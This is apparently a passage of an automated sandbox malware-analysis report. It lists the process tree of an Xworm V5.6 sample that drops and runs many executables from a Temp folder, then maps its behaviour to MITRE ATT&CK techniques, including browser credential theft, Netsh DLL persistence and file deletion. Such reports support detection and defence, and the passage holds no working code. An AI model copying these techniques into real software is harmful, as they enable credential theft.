    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:116
- C:\Users\Admin\AppData\Local\Temp\a\Xworm%20V5.6.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Xworm%20V5.6.exe"
  2⤵
  - Executes dropped EXE
  PID:740
- C:\Users\Admin\AppData\Local\Temp\a\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\a\XClient.exe"
  2⤵
  - Executes dropped EXE
  PID:1560
- C:\Users\Admin\AppData\Local\Temp\a\333.exe
  "C:\Users\Admin\AppData\Local\Temp\a\333.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2128
- C:\Users\Admin\AppData\Local\Temp\a\VBVEd6f.exe
  "C:\Users\Admin\AppData\Local\Temp\a\VBVEd6f.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4208
- C:\Users\Admin\AppData\Local\Temp\a\test12.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test12.exe"
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Users\Admin\AppData\Local\Temp\a\test6.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test6.exe"
  2⤵
  - Executes dropped EXE
  PID:4076
- C:\Users\Admin\AppData\Local\Temp\a\test14.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test14.exe"
  2⤵
  - Executes dropped EXE
  PID:3628
- C:\Users\Admin\AppData\Local\Temp\a\pantest.exe
  "C:\Users\Admin\AppData\Local\Temp\a\pantest.exe"
  2⤵
  - Executes dropped EXE
  PID:4616
- C:\Users\Admin\AppData\Local\Temp\a\test9.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test9.exe"
  2⤵
  - Executes dropped EXE
  PID:4336
- C:\Users\Admin\AppData\Local\Temp\a\test10-29.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test10-29.exe"
  2⤵
  - Executes dropped EXE
  PID:3708
- C:\Users\Admin\AppData\Local\Temp\a\test19.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test19.exe"
  2⤵
  - Executes dropped EXE
  PID:2144
- C:\Users\Admin\AppData\Local\Temp\a\test10.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test10.exe"
  2⤵
  - Executes dropped EXE
  PID:4768
- C:\Users\Admin\AppData\Local\Temp\a\test_again4.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test_again4.exe"
  2⤵
  - Executes dropped EXE
  PID:2656
- C:\Users\Admin\AppData\Local\Temp\a\test23.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test23.exe"
  2⤵
  - Executes dropped EXE
  PID:3156
- C:\Users\Admin\AppData\Local\Temp\a\test5.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test5.exe"
  2⤵
  - Executes dropped EXE
  PID:2204
- C:\Users\Admin\AppData\Local\Temp\a\test11.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test11.exe"
  2⤵
  - Executes dropped EXE
  PID:3756
- C:\Users\Admin\AppData\Local\Temp\a\test20.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test20.exe"
  2⤵
  - Executes dropped EXE
  PID:2284
- C:\Users\Admin\AppData\Local\Temp\a\test_again3.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test_again3.exe"
  2⤵
  - Executes dropped EXE
  PID:940
- C:\Users\Admin\AppData\Local\Temp\a\test16.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test16.exe"
  2⤵
  - Executes dropped EXE
  PID:3944
- C:\Users\Admin\AppData\Local\Temp\a\test13.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test13.exe"
  2⤵
  - Executes dropped EXE
  PID:1684
- C:\Users\Admin\AppData\Local\Temp\a\test_again2.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test_again2.exe"
  2⤵
  - Executes dropped EXE
  PID:3260
- C:\Users\Admin\AppData\Local\Temp\a\test15.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test15.exe"
  2⤵
  - Executes dropped EXE
  PID:2368
- C:\Users\Admin\AppData\Local\Temp\a\test18.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test18.exe"
  2⤵
  - Executes dropped EXE
  PID:3104
- C:\Users\Admin\AppData\Local\Temp\a\test21.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test21.exe"
  2⤵
  - Executes dropped EXE
  PID:2980
- C:\Users\Admin\AppData\Local\Temp\a\test22.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test22.exe"
  2⤵
  - Executes dropped EXE
  PID:1520
- C:\Users\Admin\AppData\Local\Temp\a\test8.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test8.exe"
  2⤵
  - Executes dropped EXE
  PID:1008
- C:\Users\Admin\AppData\Local\Temp\a\test7.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test7.exe"
  2⤵
  - Executes dropped EXE
  PID:3456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion